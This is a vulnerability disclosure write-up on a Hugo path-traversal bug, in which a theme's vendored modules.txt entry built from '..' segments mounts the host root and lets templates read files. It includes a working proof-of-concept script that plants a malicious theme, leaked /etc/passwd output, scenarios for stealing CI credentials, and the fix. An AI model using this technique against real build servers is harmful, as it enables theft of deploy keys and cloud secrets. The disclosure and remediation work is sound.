How a Malicious Hugo Theme Can Read Files on Your Build Server
Overview
Hugo is a static site generator. Many teams build Hugo sites on CI runners, and those runners often hold cloud credentials, deploy keys, and environment files on disk. Those two facts sit next to each other for a reason. If a theme can change what the build can read, it can reach those files.
| Terms | Meaning |
|---|---|
| Path traversal | A path built with .. that escapes the folder it was supposed to stay in |
| CI runner | The machine that builds and deploys your site automatically. |
| Vendored | Copied into a project under _vendor instead of downloaded at build time. |
| Overlay | Hugo's combined file view, built from the project, themes, and modules. |
| Mount | A rule that maps a folder into the build or copies it into the output. |
| Virtual filesystem | Hugo's in-memory file view that templates read from instead of the real disk. |
| Module root | The folder Hugo treats as the base for a theme or module. |
| GHSA | GitHub Security Advisory, the public record of a fixed vulnerability. |
To see how, you need one piece of background. Hugo lets a template read a file. A line such as {{ readFile "config.toml" }} returns that file's contents. On its own, the feature looks harmless, and it is safe only because Hugo does not give templates the whole disk. Hugo builds a controlled view of the disk, and that view has a root. The root is normally the project folder, so readFile can only reach files inside the project.
So the question I asked was simple. Can a theme move that root? If it can, the project boundary disappears, and a template function can read any file the build process can see. A simple way to picture it is a fenced yard. Templates can walk anywhere inside the fence, but not outside it. The theme moved the fence.
That is exactly what I found in Hugo v0.170.0-DEV at commit 2d6cf3a851f3d003c2246f74448ebfc086db6418. A theme can drop a _vendor/modules.txt file in its own folder, list an import path built only from .. segments, and Hugo will join that path to the vendor directory without checking the result. Enough .. segments (30 in my lab) walk the path all the way up to /. Hugo then mounts that path as a module root inside the virtual filesystem. Once the root is /, readFile, resources.Get, and os.ReadFile can reach the machine's files.
The build does not warn. It does not fail. It exits with code 0 and publishes whatever it read.
- Scope Clone and pin the target commit
- Read Trace the module collector
- Spot Notice the vendored fast path
- Build Reproduce the root escape
- Prove Read /etc/passwd in output
- Fix Add containment checks
How I Approached the Target
To begin with, I did not start with a live site. I started with the source. The latest main commit was my scope, and I cloned it into a disposable lab folder so nothing outside the container could be touched.
My working rules were simple. I built Hugo from source inside an image based on golang:1.27-bookworm, and I ran it as a non-root user with --network none. The only writable path was /work, and each test site lived in its own temporary directory. This kept the test honest. If a read worked, it worked because Hugo allowed it, not because the shell was running as root.
With the sandbox ready, I started recon with DeepSeek as a reading assistant. I did not ask it to find bugs. My request was simpler: read the source broadly and explain how a normal build works, how themes are added, and how a theme's files reach the build. I wrote a short, personal prompt instead of a generic one:
Read the Hugo source at commit 2d6cf3a like a codebase tour.
I am new to the module system, so explain how a normal build comes together. Walk me through how a site is assembled from the site folder and its themes, how I add a theme, and how that theme's files and configuration become part of a build. Show me where modules are collected, where paths are resolved, and which files and functions do that work. Go from the entry point down to the filesystem layer. Do not look for vulnerabilities. I want the intended flow first, including where the code assumes its inputs are safe.DeepSeek's explanation did more than map the code. It showed me how much of the build depends on paths that come from the theme: the theme directory, the vendor file, the module root, and the overlay. That explanation triggered me to look for a path traversal. The bug class was not new to me, but seeing that a theme, which a site owner simply installs, was feeding path strings into file operations made me ask a sharper question. Could one of those strings reach filepath.Join without a containment check? If it could, the theme would choose where the build reads from.
Once that clicked, I stopped reading broadly and followed the vendor path. The import comes from _vendor/modules.txt, which the theme controls. I read that branch line by line to see whether anything stopped the joined path from leaving the vendor folder.
If a branch like this feels dense, you can ask your AI agent to read it for you. I kept the prompt small and specific:
Explain this Go function as if I’m new to the codebase. Walk me through the data flow. What are all the inputs that a caller can control. Where are paths cleaned, joined or validated. Point out possible bugs and potential path traversal vulnerabilities. I want to know the code before I look at security issues.The explanation is a map, not a verdict. Check each claim against the source.
Finding the Bug
I started with collectModulesTXT at modules/collect.go:603. The function opens _vendor/modules.txt inside a module and scans it line by line. Each line is split with strings.Fields, and the first field is treated as an import path.
func (c *collector) collectModulesTXT(owner Module) error {
vendorDir := filepath.Join(owner.Dir(), vendord)
filename := filepath.Join(vendorDir, vendorModulesFilename)
...
path := parts[0]
...
if shouldAdd {
c.vendored[path] = vendoredModule{
Owner: owner,
Dir: filepath.Join(vendorDir, path),
Version: parts[1],
}
}
...
}The line that caught my eye was filepath.Join(vendorDir, path). There is no containment check here. There is no check for an absolute path, and there is no check for a .. component. The value is trusted because it came from a file, and a file inside the theme is not a trust boundary that Hugo enforces at this point.
I traced where that directory goes next. In getAndCreateModule at modules/collect.go:249, a vendored hit takes a fast path:
vm, vendored = c.getVendoredDir(vendorPathEscaped)
if vendored {
moduleDir = vm.Dir
realOwner = vm.Owner
versionMod = vm.Version
...
}Here is the part that made me stop scrolling. A normal theme directory goes through isProbablyModule and createThemeDirname, and those functions keep the theme under themesDir. A vendored module skips both. The code sets moduleDir straight from the vendor entry and moves on.
After that, basefs.go:856 adds the module root to the overlay:
collector.overlayFull = collector.overlayFull.Append(hugofs.NewBasePathFs(modBase, md.dir))Put those two facts together. If the vendor entry resolves to /, then md.dir is /, and Hugo mounts the host root as a readable filesystem for the build. normalizeMounts does not save you either. That function only checks that a mount source is local relative to ma.dir. Once ma.dir is /, every path is local.
So the escape is not in the template engine. It is in the join, and then in the mount that trusts the join.
Let me put the same finding in plain terms. Imagine a desk with one drawer of project files. Hugo lets templates open that drawer and nothing else. A theme is allowed to bring its own label that says where its files live. Hugo sticks that label onto the theme folder and trusts the result. If the label says "go up" enough times, the result is not a folder inside the drawer. It is the whole filing room. Hugo then treats that room as part of the drawer, so a template can pull out any file the build can see.
Nothing in that chain looks like an attack. A label, a folder, a path. That is why it is easy to miss. The trust was placed in the theme's label, and the theme is the part an outsider controls.
Building the Proof
I wanted a proof that looked like a real theme, not a unit test. I started with a plain readFile against a file next to the theme, then replaced the target with a .. path. The first version proved I could read a file. The second version is the one that mattered. The setup below is the one I ran in the sandbox.
site=$(mktemp -d)
dots=$(printf '..'; for i in $(seq 29); do printf '/..'; done)
mkdir -p "$site/themes/evil/_vendor" "$site/layouts"
printf 'theme = "evil"\ndisableKinds = ["taxonomy","term","rss","sitemap","robotsTXT","page","section"]\n' > "$site/hugo.toml"
printf '[[module.imports]]\npath = "%s"\n' "$dots" > "$site/themes/evil/hugo.toml"
printf '%s v0.0.0\n' "$dots" > "$site/themes/evil/_vendor/modules.txt"
printf 'PWN:{{ readFile "etc/passwd" }}\n' > "$site/layouts/home.html"
cd "$site" && hugo --quiet
grep -o 'PWN:root:[^<]*' public/index.htmlThe import path in the theme's hugo.toml and the first field of _vendor/modules.txt must match. That is the lookup key. Hugo never resolves it as a real Go module, so it accepts the string as written.
I expected a parse error or a refused mount. What I got was a clean build:
PWN:root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologinThe full /etc/passwd was in public/index.html. The build exited with code 0. The read was no longer a read inside the theme. It was a traversal.
A single file read could be a fluke, so I checked the other sinks. The same overlay is used by resources.Get and os.ReadFile, and both returned content from the host. I also tested a mount with target = "static". That variant copies the chosen host directory into the published site, which turns a read into a bulk copy.
Impact
This is a confidentiality bug with a supply chain entry point. Hugo normally fences templates inside the project folder. This bug moves the fence. I needed no account on the build machine, no shell, and no running service. The theme does the work during a normal build, where the Hugo process sits beside deploy keys, registry tokens, and cloud credentials. The read reaches anything that process can open.
A low-privileged attacker only needs the site to import their theme, through a public source, a fork, or a pull request a maintainer merges. The victim installs a look. The next build hands over the machine. A layout reads ~/.aws/credentials or the pipeline env file, prints it into a page or sends it out through a template, and the deploy publishes it. The attacker now holds a token worth more than the file read. From there, that token can list buckets, read secrets, or push to production. The Hugo bug only has to work once.
Two details make it worse. Extra .. segments clamp at the filesystem root, so one theme fits any project depth. A static mount can copy a whole directory into the published site, turning a one-file read into a directory dump.
The quiet part is the exit code. The build does not warn, exits 0, and looks like a normal deploy. In my lab I demonstrated the read, not a full cloud takeover. What follows depends on what the runner holds, and that is the point. The same bug scales with the environment it lands in.
The advisory rates this Moderate. I first rated it High, and I understand the gap: the victim must import the theme, and the bug reads files. I still lean higher for CI, where the same read reaches deploy keys and cloud tokens and leaves no trace.
Suggested Fix
The fix has to happen at the join, and again at the mount. One check is not enough.
First, reject any vendored path that is not local. filepath.IsLocal covers absolute paths, .. escapes, and Windows edge cases in one call. This is the real upstream fix, shipped in v0.170.0.
if shouldAdd {
+ if !filepath.IsLocal(path) {
+ return fmt.Errorf("invalid module path: %q", path)
+ }
c.vendored[path] = vendoredModule{
Owner: owner,
Dir: filepath.Join(vendorDir, path),
Version: parts[1],
}
}Second, do not let the vendored branch skip the containment a normal theme gets. Run createThemeDirname or an equivalent check for vendored modules too.
Third, check every overlay root before mounting it. This is hypothetical hardening, not the upstream patch. If the root is outside the project, themesDir, or the module cache, fail the build. For example:
+ if !allowedModuleRoot(md.dir, projectDir, themesDir, moduleCacheDir) {
+ return fmt.Errorf("module root outside allowed locations: %s", md.dir)
+ }
collector.overlayFull = collector.overlayFull.Append(hugofs.NewBasePathFs(modBase, md.dir))Finally, add regression tests for an absolute path, a .. path, and a path that escapes after normalization. Each test should expect an error, not a successful mount.
What I Took Away
The lesson I keep coming back to is that a path join is a security decision when the left side comes from one trust domain and the right side comes from another. filepath.Join looks harmless. In this code it was the whole bug.
The second lesson is about fast paths. The vendored branch existed for speed and convenience, and it skipped the checks the normal branch performed. Security checks that live in one branch tend to be missing from the other. When you audit a loader, compare the paths. The bug is often in the branch that skipped a step.
The Hugo team published this as GHSA-r48v-r4vw-h9v8 and shipped a fix in v0.170.0. If you run Hugo in CI with themes you did not write, pin your themes and review _vendor/modules.txt until you upgrade.
Disclosure Timeline
- Nov 9, 2026 Reported privately to the Hugo maintainers
-
Nov 10, 2026
Acknowledged and fixed in
d41a8a1 -
Nov 13, 2026
Hugo v0.170.0released with the fix -
Nov 13, 2026
GHSA-r48v-r4vw-h9v8published
References
- Hugo security advisory GHSA-r48v-r4vw-h9v8 (Moderate, affected > v0.56.0, patched in v0.170.0)
- Go
filepathpackage: https://pkg.go.dev/path/filepath